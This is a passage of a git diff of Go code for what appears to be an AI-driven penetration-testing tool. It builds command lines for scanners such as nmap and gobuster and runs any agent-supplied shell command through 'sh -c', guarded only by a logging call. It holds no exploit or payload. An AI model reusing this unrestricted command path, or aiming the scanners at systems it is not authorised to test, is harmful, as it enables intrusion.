param) + } else { + flagParams = append(flagParams, param) + } + } + + // 对于需要子命令的工具（如 gobuster dir），position 0 必须紧跟在命令名后、所有 flag 之前 + for _, param := range positionalParams { + if param.Name == "additional_args" || param.Name == "scan_type" || param.Name == "action" { + continue + } + if param.Position != nil && *param.Position == 0 { + value := e.getParamValue(args, param) + if value == nil && param.Default != nil { + value = param.Default + } + if value != nil { + cmdArgs = append(cmdArgs, e.formatParamValue(param, value)) + } + break + } + } + + // 处理标志参数 + for _, param := range flagParams { + // 跳过特殊参数，它们会在后面单独处理 + // action 参数仅用于工具内部逻辑，不传递给命令 + if param.Name == "additional_args" || param.Name == "scan_type" || param.Name == "action" { + continue + } + + value := e.getParamValue(args, param) + if value == nil { + if param.Required { + // 必需参数缺失，返回空数组让上层处理错误 + e.logger.Warn("缺少必需的标志参数", + zap.String("tool", toolName), + zap.String("param", param.Name), + ) + return []string{} + } + continue + } + + // 布尔值特殊处理：如果为 false，跳过；如果为 true，只添加标志 + if param.Type == "bool" { + var boolVal bool + var ok bool + + // 尝试多种类型转换 + if boolVal, ok = value.(bool); ok { + // 已经是布尔值 + } else if numVal, ok := value.(float64); ok { + // JSON 数字类型（float64） + boolVal = numVal != 0 + ok = true + } else if numVal, ok := value.(int); ok { + // int 类型 + boolVal = numVal != 0 + ok = true + } else if strVal, ok := value.(string); ok { + // 字符串类型 + boolVal = strVal == "true" || strVal == "1" || strVal == "yes" + ok = true + } + + if ok { + if !boolVal { + continue // false 时不添加任何参数 + } + // true 时只添加标志，不添加值 + if param.Flag != "" { + cmdArgs = append(cmdArgs, param.Flag) + } + continue + } + } + + formattedValue := e.formatParamValue(param, value) + if strings.TrimSpace(formattedValue) == "" { + if param.Required { + e.logger.Warn("必需参数为空", + zap.String("tool", toolName), + zap.String("param", param.Name), + ) + return []string{} + } + continue + } + + format := param.Format + if format == "" { + format = "flag" // 默认格式 + } + + switch format { + case "flag": + // --flag value 或 -f value + if param.Flag != "" { + cmdArgs = append(cmdArgs, param.Flag) + } + cmdArgs = append(cmdArgs, formattedValue) + case "combined": + // --flag=value 或 -f=value + if param.Flag != "" { + cmdArgs = append(cmdArgs, fmt.Sprintf("%s=%s", param.Flag, formattedValue)) + } else { + cmdArgs = append(cmdArgs, formattedValue) + } + case "template": + // 使用模板字符串 + if param.Template != "" { + template := param.Template + template = strings.ReplaceAll(template, "{flag}", param.Flag) + template = strings.ReplaceAll(template, "{value}", formattedValue) + template = strings.ReplaceAll(template, "{name}", param.Name) + cmdArgs = append(cmdArgs, strings.Fields(template)...) + } else { + // 如果没有模板，使用默认格式 + if param.Flag != "" { + cmdArgs = append(cmdArgs, param.Flag) + } + cmdArgs = append(cmdArgs, formattedValue) + } + case "positional": + // 位置参数（已在上面处理） + cmdArgs = append(cmdArgs, formattedValue) + default: + // 默认：直接添加值 + cmdArgs = append(cmdArgs, formattedValue) + } + } + + // 然后处理位置参数（位置参数通常在标志参数之后） + // 对位置参数按位置排序 + // 首先找到最大的位置值，确定需要处理多少个位置 + maxPosition := -1 + for _, param := range positionalParams { + if param.Position != nil && *param.Position > maxPosition { + maxPosition = *param.Position + } + } + + // 按位置顺序处理参数，确保即使某些位置没有参数或使用默认值，也能正确传递 + // position 0 已在前面插入（子命令优先），此处从 1 开始 + for i := 0; i <= maxPosition; i++ { + if i == 0 { + continue + } + for _, param := range positionalParams { + // 跳过特殊参数，它们会在后面单独处理 + // action 参数仅用于工具内部逻辑，不传递给命令 + if param.Name == "additional_args" || param.Name == "scan_type" || param.Name == "action" { + continue + } + + if param.Position != nil && *param.Position == i { + value := e.getParamValue(args, param) + if value == nil { + if param.Required { + // 必需参数缺失，返回空数组让上层处理错误 + e.logger.Warn("缺少必需的位置参数", + zap.String("tool", toolName), + zap.String("param", param.Name), + zap.Int("position", *param.Position), + ) + return []string{} + } + // 对于非必需参数，如果值为 nil，尝试使用默认值 + if param.Default != nil { + value = param.Default + } else { + // 如果没有默认值，跳过这个位置，继续处理下一个位置 + break + } + } + // 只有当值不为 nil 时才添加到命令参数中 + if value != nil { + cmdArgs = append(cmdArgs, e.formatParamValue(param, value)) + } + break + } + } + // 如果某个位置没有找到对应的参数，继续处理下一个位置 + // 这样可以确保位置参数的顺序正确 + } + + // 特殊处理：additional_args 参数（需要按空格分割成多个参数） + if additionalArgs, ok := args["additional_args"].(string); ok && additionalArgs != "" { + // 按空格分割，但保留引号内的内容 + additionalArgsList := e.parseAdditionalArgs(additionalArgs) + cmdArgs = append(cmdArgs, additionalArgsList...) + } + + // 特殊处理：scan_type 参数（需要按空格分割并插入到合适位置） + if hasScanType { + scanTypeArgs := e.parseAdditionalArgs(scanTypeValue) + if len(scanTypeArgs) > 0 { + // 对于 nmap，scan_type 应该替换默认的扫描类型参数 + // 由于我们已经跳过了默认的 args，现在需要将 scan_type 插入到合适位置 + // 找到 target 参数的位置（通常是最后一个位置参数） + insertPos := len(cmdArgs) + for i := len(cmdArgs) - 1; i >= 0; i-- { + // target 通常是最后一个非标志参数 + if !strings.HasPrefix(cmdArgs[i], "-") { + insertPos = i + break + } + } + // 在 target 之前插入 scan_type 参数 + newArgs := make([]string, 0, len(cmdArgs)+len(scanTypeArgs)) + newArgs = append(newArgs, cmdArgs[:insertPos]...) + newArgs = append(newArgs, scanTypeArgs...) + newArgs = append(newArgs, cmdArgs[insertPos:]...) + cmdArgs = newArgs + } + } + + return cmdArgs + } + + // 如果没有定义参数配置，使用固定参数和通用处理 + // 添加固定参数 + cmdArgs = append(cmdArgs, toolConfig.Args...) + + // 通用处理：将参数转换为命令行参数 + for key, value := range args { + if key == "_tool_name" { + continue + } + // 使用 --key value 格式 + cmdArgs = append(cmdArgs, fmt.Sprintf("--%s", key)) + if strValue, ok := value.(string); ok { + cmdArgs = append(cmdArgs, strValue) + } else { + cmdArgs = append(cmdArgs, fmt.Sprintf("%v", value)) + } + } + + return cmdArgs +} + +// parseAdditionalArgs 解析 additional_args 字符串，按空格分割但保留引号内的内容 +func (e *Executor) parseAdditionalArgs(argsStr string) []string { + if argsStr == "" { + return []string{} + } + + result := make([]string, 0) + var current strings.Builder + inQuotes := false + var quoteChar rune + escapeNext := false + + runes := []rune(argsStr) + for i := 0; i < len(runes); i++ { + r := runes[i] + + if escapeNext { + current.WriteRune(r) + escapeNext = false + continue + } + + if r == '\\' { + // 检查下一个字符是否是引号 + if i+1 < len(runes) && (runes[i+1] == '"' || runes[i+1] == '\'') { + // 转义的引号：跳过反斜杠，将引号作为普通字符写入 + i++ + current.WriteRune(runes[i]) + } else { + // 其他转义字符：写入反斜杠，下一个字符会在下次迭代处理 + escapeNext = true + current.WriteRune(r) + } + continue + } + + if !inQuotes && (r == '"' || r == '\'') { + inQuotes = true + quoteChar = r + continue + } + + if inQuotes && r == quoteChar { + inQuotes = false + quoteChar = 0 + continue + } + + if !inQuotes && (r == ' ' || r == '\t' || r == '\n') { + if current.Len() > 0 { + result = append(result, current.String()) + current.Reset() + } + continue + } + + current.WriteRune(r) + } + + // 处理最后一个参数（如果存在） + if current.Len() > 0 { + result = append(result, current.String()) + } + + // 如果解析结果为空，使用简单的空格分割作为降级方案 + if len(result) == 0 { + result = strings.Fields(argsStr) + } + + return result +} + +// getParamValue 获取参数值，支持默认值 +func (e *Executor) getParamValue(args map[string]interface{}, param config.ParameterConfig) interface{} { + // 从参数中获取值 + if value, ok := args[param.Name]; ok && value != nil { + return value + } + + // 如果参数是必需的但没有提供，返回 nil（让上层处理错误） + if param.Required { + return nil + } + + // 返回默认值 + return param.Default +} + +// formatParamValue 格式化参数值 +func (e *Executor) formatParamValue(param config.ParameterConfig, value interface{}) string { + switch param.Type { + case "bool": + // 布尔值应该在上层处理，这里不应该被调用 + if boolVal, ok := value.(bool); ok { + return fmt.Sprintf("%v", boolVal) + } + return "false" + case "array": + // 数组：转换为逗号分隔的字符串 + if arr, ok := value.([]interface{}); ok { + strs := make([]string, 0, len(arr)) + for _, item := range arr { + strs = append(strs, fmt.Sprintf("%v", item)) + } + return strings.Join(strs, ",") + } + return fmt.Sprintf("%v", value) + case "object": + // 对象/字典：序列化为 JSON 字符串 + if jsonBytes, err := json.Marshal(value); err == nil { + return string(jsonBytes) + } + // 如果 JSON 序列化失败，回退到默认格式化 + return fmt.Sprintf("%v", value) + default: + formattedValue := fmt.Sprintf("%v", value) + // 特殊处理：对于 ports 参数（通常是 nmap 等工具的端口参数），清理空格 + // nmap 不接受端口列表中有空格，例如 "80,443, 22" 应该变成 "80,443,22" + if param.Name == "ports" { + // 移除所有空格，但保留逗号和其他字符 + formattedValue = strings.ReplaceAll(formattedValue, " ", "") + } + return formattedValue + } +} + +// IsBackgroundShellCommand 检测命令是否为完全后台命令（末尾有独立 &，且不在引号内）。 +// command1 & command2 不算完全后台（command2 仍在前台执行）。 +func IsBackgroundShellCommand(command string) bool { + command = strings.TrimSpace(command) + if command == "" { + return false + } + positions := findStandaloneAmpersandPositions(command) + if len(positions) == 0 { + return false + } + last := positions[len(positions)-1] + afterAmpersand := strings.TrimSpace(command[last+1:]) + if afterAmpersand != "" { + return false + } + beforeAmpersand := strings.TrimSpace(command[:last]) + return beforeAmpersand != "" +} + +// executeSystemCommand 执行系统命令 +func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) { + // 获取命令 + command, ok := args["command"].(string) + if !ok { + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: "错误: 缺少command参数", + }, + }, + IsError: true, + }, nil + } + + if command == "" { + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: "错误: command参数不能为空", + }, + }, + IsError: true, + }, nil + } + + // 安全检查：记录执行的命令 + e.logger.Warn("执行系统命令", + zap.String("command", command), + ) + + command = PrepareShellCommandForExecute(command) + + // 获取shell类型（可选，默认为sh） + shell := "sh" + if s, ok := args["shell"].(string); ok && s != "" { + shell = s + } + + // 获取工作目录（可选） + workDir := "" + if wd, ok := args["workdir"].(string); ok && wd != "" { + workDir = wd + } + + // 检测是否为后台命令（包含 & 符号，但不在引号内） + isBackground := IsBackgroundShellCommand(command) + + // 构建命令 + var cmd *exec.Cmd + if workDir != "" { + cmd = exec.CommandContext(ctx, shell, "-c", command) + cmd.Dir = workDir + } else { + cmd = exec.CommandContext(ctx, shell, "-c", command) + } + ConfigureShellCmdForAgentExecute(cmd) + + // 执行命令 + e.logger.Info("执行系统命令", + zap.String("command", command), + zap.String("shell", shell), + zap.String("workdir", workDir), + zap.Bool("isBackground", isBackground), + ) + + // 如果是后台命令，使用特殊处理来获取实际的后台进程PID + if isBackground { + // 移除命令末尾的 & 符号 + commandWithoutAmpersand := strings.TrimSuffix(strings.TrimSpace(command), "&") + commandWithoutAmpersand = strings.TrimSpace(commandWithoutAmpersand) + + // 构建新命令：后台作业重定向标准流后 echo $pid（与 RedirectBackgroundJobStdio 一致）。 + pidCommand := RedirectBackgroundJobStdio(commandWithoutAmpersand+" &") + " pid=$!; echo $pid" + + // 创建新命令来获取PID + var pidCmd *exec.Cmd + if workDir != "" { + pidCmd = exec.CommandContext(ctx, shell, "-c", pidCommand) + pidCmd.Dir = workDir + } else { + pidCmd = exec.CommandContext(ctx, shell, "-c", pidCommand) + } + ConfigureShellCmdForAgentExecute(pidCmd) + + // 获取stdout管道 + stdout, err := pidCmd.StdoutPipe() + if err != nil { + e.logger.Error("创建stdout管道失败", + zap.String("command", command), + zap.Error(err), + ) + // 如果创建管道失败，使用shell进程的PID作为fallback + if err := pidCmd.Start(); err != nil { + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("后台命令启动失败: %v", err), + }, + }, + IsError: true, + }, nil + } + pid := pidCmd.Process.Pid + go pidCmd.Wait() // 在后台等待，避免僵尸进程 + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("后台命令已启动\n命令: %s\n进程ID: %d (可能不准确，获取PID失败)\n\n注意: 后台进程将继续运行，不会等待其完成。", command, pid), + }, + }, + IsError: false, + }, nil + } + + // 启动命令 + if err := pidCmd.Start(); err != nil { + stdout.Close() + e.logger.Error("后台命令启动失败", + zap.String("command", command), + zap.Error(err), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("后台命令启动失败: %v", err), + }, + }, + IsError: true, + }, nil + } + + // 读取第一行输出（PID） + reader := bufio.NewReader(stdout) + pidLine, err := reader.ReadString('\n') + stdout.Close() + + var actualPid int + if err != nil && err != io.EOF { + e.logger.Warn("读取后台进程PID失败", + zap.String("command", command), + zap.Error(err), + ) + // 如果读取失败，使用shell进程的PID + actualPid = pidCmd.Process.Pid + } else { + // 解析PID + pidStr := strings.TrimSpace(pidLine) + if parsedPid, err := strconv.Atoi(pidStr); err == nil { + actualPid = parsedPid + } else { + e.logger.Warn("解析后台进程PID失败", + zap.String("command", command), + zap.String("pidLine", pidStr), + zap.Error(err), + ) + // 如果解析失败，使用shell进程的PID + actualPid = pidCmd.Process.Pid + } + } + + // 在goroutine中等待shell进程，避免僵尸进程 + go func() { + if err := pidCmd.Wait(); err != nil { + e.logger.Debug("后台命令shell进程执行完成", + zap.String("command", command), + zap.Error(err), + ) + } + }() + + e.logger.Info("后台命令已启动", + zap.String("command", command), + zap.Int("actualPid", actualPid), + ) + + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("后台命令已启动\n命令: %s\n进程ID: %d\n\n注意: 后台进程将继续运行，不会等待其完成。", command, actualPid), + }, + }, + IsError: false, + }, nil + } + + // 非后台命令：等待输出 + var output string + var err error + spill := e.spillOptsFromContext(ctx) + // 若上层提供工具输出增量回调，或当前处于 MCP execution 中，则边执行边流式读取。 + if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" { + cb = e.wrapToolOutputCallback(ctx, cb) + output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill) + if err != nil && shouldRetryWithPTY(output) { + e.logger.Info("检测到系统命令需要 TTY，使用 PTY 重试") + cmd2 := exec.CommandContext(ctx, shell, "-c", command) + if workDir != "" { + cmd2.Dir = workDir + } + ConfigureShellCmdForAgentExecute(cmd2) + output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill) + } + } else { + output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill) + if err != nil && shouldRetryWithPTY(output) { + e.logger.Info("检测到系统命令需要 TTY，使用 PTY 重试") + cmd2 := exec.CommandContext(ctx, shell, "-c", command) + if workDir != "" { + cmd2.Dir = workDir + } + ConfigureShellCmdForAgentExecute(cmd2) + output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill) + } + } + if err != nil { + e.logger.Error("系统命令执行失败", + zap.String("command", command), + zap.Error(err), + zap.String("output", string(output)), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: FormatCommandFailureFromErr(err, output), + }, + }, + IsError: true, + }, nil + } + + e.logger.Info("系统命令执行成功", + zap.String("command", command), + zap.String("output_length", fmt.Sprintf("%d", len(output))), + ) + + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: string(output), + }, + }, + IsError: false, + }, nil +} + +// combinedOutputCancellable 行为对齐 cmd.CombinedOutput（stdout/stderr 写入内存缓冲）， +// 但在 ctx 取消时 terminateCmdTree 终止整棵进程树。 +// 非流式路径不使用双流管道 fan-in，避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。 +// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底，不改变原 CombinedOutput 语义。 +func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) { + return combinedOutputCancellableWithLimit(ctx, cmd, 0, tooloutput.SpillOpts{}) +} + +func combinedOutputCancellableWithLimit(ctx context.Context, cmd *exec.Cmd, maxBytes int, spill tooloutput.SpillOpts) (string, error) { + var tee *tooloutput.Tee + if maxBytes > 0 { + tee = tooloutput.NewTee(spill) + defer func() { _ = tee.Close() }() + } + stdoutBuf := newBoundedOutputCollector(maxBytes, tee) + stderrBuf := newBoundedOutputCollector(maxBytes, tee) + cmd.Stdout = stdoutBuf + cmd.Stderr = stderrBuf + + session, err := StartShellSession(cmd) + if err != nil { + return "", err + } + + done := make(chan error, 1) + go func() { + done <- session.Wait() + }() + + stopWatch := make(chan struct{}) + go func() { + select { + case <-ctx.Done(): + TerminateShellCmdSession(session) + case <-stopWatch: + } + }() + defer close(stopWatch) + + var waitErr error + select { + case waitErr = <-done: + case <-ctx.Done(): + waitErr = <-done + return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), ctx.Err() + } + return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), waitErr +} + +func joinCommandOutput(stdout, stderr string) string { + if stderr == "" { + return stdout + } + if stdout == "" { + return stderr + } + return stdout + stderr +} + +type boundedOutputCollector struct { + builder strings.Builder + maxBytes int + seenBytes int + truncated bool + tee *tooloutput.Tee +} + +func newBoundedOutputCollector(maxBytes int, tee *tooloutput.Tee) *boundedOutputCollector { + return &boundedOutputCollector{maxBytes: maxBytes, tee: tee} +} + +func (b *boundedOutputCollector) Write(p []byte) (int, error) { + b.WriteStringLimited(string(p)) + return len(p), nil +} + +func (b *boundedOutputCollector) WriteStringLimited(s string) string { + if b == nil { + return "" + } + if b.tee != nil { + _, _ = b.tee.Write([]byte(s)) + } + if b.maxBytes <= 0 { + b.seenBytes += len(s) + b.builder.WriteString(s) + return s + } + b.seenBytes += len(s) + if b.builder.Len() >= b.maxBytes { + b.truncated = true + return "" + } + remaining := b.maxBytes - b.builder.Len() + if len(s) <= remaining { + b.builder.WriteString(s) + return s + } + kept := truncateStringBytes(s, remaining) + b.builder.WriteString(kept) + b.truncated = true + return kept +} + +func (b *boundedOutputCollector) String() string { + if b == nil { + return "" + } + return b.builder.String() +} + +func finalizeJoinedBoundedOutputs(stdout, stderr *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string { + if tee != nil { + _ = tee.Close() + } + truncated := (stdout != nil && stdout.truncated) || (stderr != nil && stderr.truncated) + seen := 0 + if stdout != nil { + seen += stdout.seenBytes + } + if stderr != nil { + seen += stderr.seenBytes + } + joined := joinCommandOutput( + func() string { + if stdout == nil { + return "" + } + return stdout.String() + }(), + func() string { + if stderr == nil { + return "" + } + return stderr.String() + }(), + ) + if maxBytes > 0 && !truncated && len(joined) > maxBytes { + truncated = true + seen = len(joined) + } + path := "" + if tee != nil { + path = tee.Path() + } + if truncated && maxBytes > 0 { + if path != "" { + return tooloutput.FormatPersistedFromFile(path, seen, maxBytes) + } + if len(joined) > maxBytes { + return truncateStringBytes(joined, maxBytes) + } + return joined + } + if path != "" { + _ = os.Remove(path) + } + if maxBytes > 0 && len(joined) > maxBytes { + return truncateStringBytes(joined, maxBytes) + } + return joined +} + +func finalizeBoundedOutput(collector *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string { + if tee != nil { + _ = tee.Close() + } + if collector == nil { + return "" + } + path := "" + if tee != nil { + path = tee.Path() + } + if collector.truncated && maxBytes > 0 { + if path != "" { + return tooloutput.FormatPersistedFromFile(path, collector.seenBytes, maxBytes) + } + return truncateStringBytes(collector.String(), maxBytes) + } + if path != "" { + _ = os.Remove(path) + } + out := collector.String() + if maxBytes > 0 && len(out) > maxBytes { + return tooloutput.BoundWithSpill(out, maxBytes, tooloutput.SpillOpts{}) + } + return out +} + +func limitOutputString(s string, maxBytes int, spill tooloutput.SpillOpts) string { + if maxBytes <= 0 || len(s) <= maxBytes { + return s + } + return tooloutput.BoundWithSpill(s, maxBytes, spill) +} + +func truncateStringBytes(s string, maxBytes int) string { + if maxBytes <= 0 { + return "" + } + if len(s) <= maxBytes { + return s + } + cut := maxBytes + for cut > 0 && (s[cut]&0xC0) == 0x80 { + cut-- + } + if cut <= 0 { + return "" + } + return s[:cut] +} + +// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。 +// 使用定长块读取，避免按行读取在无换行输出时永久阻塞；ctx 取消时终止进程树。 +func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int, maxBytes int, spill tooloutput.SpillOpts) (string, error) { + stdoutPipe, err := cmd.StdoutPipe() + if err != nil { + return "", err + } + stderrPipe, err := cmd.StderrPipe() + if err != nil { + _ = stdoutPipe.Close() + return "", err + } + session, err := StartShellSession(cmd) + if err != nil { + _ = stdoutPipe.Close() + _ = stderrPipe.Close() + return "", err + } + + stopWatch := make(chan struct{}) + go func() { + select { + case <-ctx.Done(): + TerminateShellCmdSession(session) + case <-stopWatch: + } + }() + defer close(stopWatch) + + chunks := make(chan string, 64) + var wg sync.WaitGroup + readFn := func(r io.Reader) { + defer wg.Done() + buf := make([]byte, 8192) + for { + n, readErr := r.Read(buf) + if n > 0 { + chunks <- string(buf[:n]) + } + if readErr != nil { + return + } + } + } + + wg.Add(2) + go readFn(stdoutPipe) + go readFn(stderrPipe) + + go func() { + wg.Wait() + close(chunks) + }() + + tee := (*tooloutput.Tee)(nil) + if maxBytes > 0 { + tee = tooloutput.NewTee(spill) + defer func() { _ = tee.Close() }() + } + outBuilder := newBoundedOutputCollector(maxBytes, tee) + var deltaBuilder strings.Builder + lastFlush := time.Now() + + flush := func() { + if deltaBuilder.Len() == 0 { + return + } + if cb != nil { + cb(deltaBuilder.String()) + } + deltaBuilder.Reset() + lastFlush = time.Now() + } + + idleWatch := NewShellInactivityWatch(noOutputSec) + if idleWatch != nil { + defer idleWatch.Stop() + } + + fireInactivity := func() { + TerminateShellCmdSession(session) + msg := ShellNoOutputTimeoutMessage(idleWatch.Sec) + msg = outBuilder.WriteStringLimited(msg) + if cb != nil { + cb(msg) + } + _ = session.Wait() + } + +chunksLoop: + for { + var idleCh <-chan struct{} + if idleWatch != nil { + idleCh = idleWatch.Expired + } + select { + case <-ctx.Done(): + TerminateShellCmdSession(session) + flush() + _ = session.Wait() + return outBuilder.String(), ctx.Err() + case <-idleCh: + fireInactivity() + return finalizeBoundedOutput(outBuilder, maxBytes, tee), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec) + case chunk, ok := <-chunks: + if !ok { + break chunksLoop + } + if chunk != "" && idleWatch != nil { + idleWatch.Bump() + } + keptChunk := outBuilder.WriteStringLimited(chunk) + deltaBuilder.WriteString(keptChunk) + if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond { + flush() + } + } + } + flush() + + // 等待命令结束，返回最终退出状态 + waitErr := session.Wait() + return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr +} + +// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。 +// 注意：这不会创建 TTY，只是减少某些工具在非交互环境下的“奇怪排版/检测失败”。 +func applyDefaultTerminalEnv(cmd *exec.Cmd) { + if cmd == nil { + return + } + // 仅在未显式设置 Env 时，继承当前进程环境 + if cmd.Env == nil { + cmd.Env = os.Environ() + } + cmd.Env = ApplyNonInteractivePagerEnv(cmd.Env) + // 如果用户已设置 TERM/COLUMNS/LINES，则不覆盖 + has := func(k string) bool { + prefix := k + "=" + for _, e := range cmd.Env { + if strings.HasPrefix(e, prefix) { + return true + } + } + return false + } + if !has("TERM") { + cmd.Env = append(cmd.Env, "TERM=xterm-256color") + } + if !has("COLUMNS") { + cmd.Env = append(cmd.Env, "COLUMNS=256") + } + if !has("LINES") { + cmd.Env = append(cmd.Env, "LINES=40") + } +} + +func shouldRetryWithPTY(output string) bool { + o := strings.ToLower(output) + // autorecon / python termios 常见报错 + if strings.Contains(o, "inappropriate ioctl for device") { + return true + } + if strings.Contains(o, "termios.error") { + return true + } + // 兜底：stdin 不是 tty + if strings.Contains(o, "not a tty") { + return true + } + return false +} + +// runCommandWithPTY 为子进程分配 PTY，适配需要交互式终端的工具（如 autorecon）。 +// 若 cb != nil，将持续回调增量输出（用于 SSE）。 +func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, maxBytes int, spill tooloutput.SpillOpts) (string, error) { + if runtime.GOOS == "windows" { + // PTY 方案为类 Unix；Windows 走原逻辑 + if cb != nil { + return streamCommandOutput(ctx, cmd, cb, 0, maxBytes, spill) + } + _ = prepareShellCmdSession(cmd) + return combinedOutputCancellableWithLimit(ctx, cmd, maxBytes, spill) + } + + _ = prepareShellCmdSession(cmd) + ptmx, err := pty.Start(cmd) + if err != nil { + return "", err + } + defer func() { _ = ptmx.Close() }() + + rootPID := 0 + if cmd.Process != nil { + rootPID = cmd.Process.Pid + } + + // ctx 取消时尽快终止子进程 + done := make(chan struct{}) + go func() { + select { + case <-ctx.Done(): + _ = ptmx.Close() // 触发读退出 + terminateProcessGroup(rootPID, cmd) + case <-done: + } + }() + defer close(done) + + tee := (*tooloutput.Tee)(nil) + if maxBytes > 0 { + tee = tooloutput.NewTee(spill) + defer func() { _ = tee.Close() }() + } + outBuilder := newBoundedOutputCollector(maxBytes, tee) + var deltaBuilder strings.Builder + lastFlush := time.Now() + flush := func() { + if cb == nil || deltaBuilder.Len() == 0 { + deltaBuilder.Reset() + lastFlush = time.Now() + return + } + cb(deltaBuilder.String()) + deltaBuilder.Reset() + lastFlush = time.Now() + } + + buf := make([]byte, 4096) + for { + n, readErr := ptmx.Read(buf) + if n > 0 { + chunk := string(buf[:n]) + // 统一换行为 \n，避免前端错位 + chunk = strings.ReplaceAll(chunk, "\r\n", "\n") + chunk = strings.ReplaceAll(chunk, "\r", "\n") + keptChunk := outBuilder.WriteStringLimited(chunk) + deltaBuilder.WriteString(keptChunk) + if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond { + flush() + } + } + if readErr != nil { + break + } + } + flush() + + waitErr := cmd.Wait() + return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr +} + +// executeInternalTool 执行内部工具（不执行外部命令） +func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) { + internalToolType := strings.TrimPrefix(command, "internal:") + e.logger.Warn("未知的内部工具", + zap.String("toolName", toolName), + zap.String("internalToolType", internalToolType), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("错误: 未知的内部工具类型: %s", internalToolType), + }, + }, + IsError: true, + }, nil +} + +// buildInputSchema 构建输入模式 +func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]interface{} { + schema := map[string]interface{}{ + "type": "object", + "properties": map[string]interface{}{}, + "required": []string{}, + } + + // 如果配置中定义了参数，优先使用配置中的参数定义 + if len(toolConfig.Parameters) > 0 { + properties := make(map[string]interface{}) + required := []string{} + + for _, param := range toolConfig.Parameters { + // 跳过 name 为空的参数（避免 YAML 中 name: null 或空导致非法 schema） + if strings.TrimSpace(param.Name) == "" { + e.logger.Debug("跳过无名称的参数", + zap.String("tool", toolConfig.Name), + zap.String("type", param.Type), + ) + continue + } + // 转换类型为OpenAI/JSON Schema标准类型（空类型默认为 string） + openAIType := e.convertToOpenAIType(param.Type) + + prop := map[string]interface{}{ + "type": openAIType, + "description": param.Description, + } + + // JSON Schema/OpenAI 要求 array 类型必须包含 items，否则 API 报 invalid_function_parameters + if openAIType == "array" { + itemType := strings.TrimSpace(param.ItemType) + if itemType == "" { + itemType = "string" + } + prop["items"] = map[string]interface{}{ + "type": e.convertToOpenAIType(itemType), + } + } + + // 添加默认值 + if param.Default != nil { + prop["default"] = param.Default + } + + // 添加枚举选项 + if len(param.Options) > 0 { + prop["enum"] = param.Options + } + + properties[param.Name] = prop + + // 添加到必需参数列表 + if param.Required { + required = append(required, param.Name) + } + } + + schema["properties"] = properties + schema["required"] = required + return schema + } + + // 如果没有定义参数配置，返回空schema + // 这种情况下工具可能只使用固定参数（args字段） + // 或者需要通过YAML配置文件定义参数 + e.logger.Warn("工具未定义参数配置，返回空schema", + zap.String("tool", toolConfig.Name), + ) + return schema +} + +// convertToOpenAIType 将配置中的类型转换为OpenAI/JSON Schema标准类型 +func (e *Executor) convertToOpenAIType(configType string) string { + // 空或 null 类型统一视为 string，避免非法 schema 导致工具调用失败 + if strings.TrimSpace(configType) == "" { + return "string" + } + switch configType { + case "bool": + return "boolean" + case "int", "integer": + return "number" + case "float", "double": + return "number" + case "string", "array", "object": + return configType + default: + // 默认返回原类型，但记录警告 + e.logger.Warn("未知的参数类型，使用原类型", + zap.String("type", configType), + ) + return configType + } +} + +// getExitCode 从错误中提取退出码，如果不是ExitError则返回nil +func getExitCode(err error) *int { + if err == nil { + return nil + } + if exitError, ok := err.(*exec.ExitError); ok { + if exitError.ProcessState != nil { + exitCode := exitError.ExitCode() + return &exitCode + } + } + return nil +} + +// getExitCodeValue 从错误中提取退出码值，如果不是ExitError则返回-1 +func getExitCodeValue(err error) int { + if code := getExitCode(err); code != nil { + return *code + } + return -1 +} diff --git a/internal/security/executor_test.go b/internal/security/executor_test.go new file mode 100644 index 00000000..4b62889a --- /dev/null +++ b/internal/security/executor_test.go @@ -0,0 +1,282 @@ +package security + +import ( + "context" + "os/exec" + "runtime" + "strings" + "testing" + "time" + + "cyberstrike-ai/internal/config" + "cyberstrike-ai/internal/mcp" + + "go.uber.org/zap" +) + +// setupTestExecutor 创建测试用的执行器 +func setupTestExecutor(t *testing.T) (*Executor, *mcp.Server) { + logger := zap.NewNop() + mcpServer := mcp.NewServer(logger) + + cfg := &config.SecurityConfig{ + Tools: []config.ToolConfig{}, + 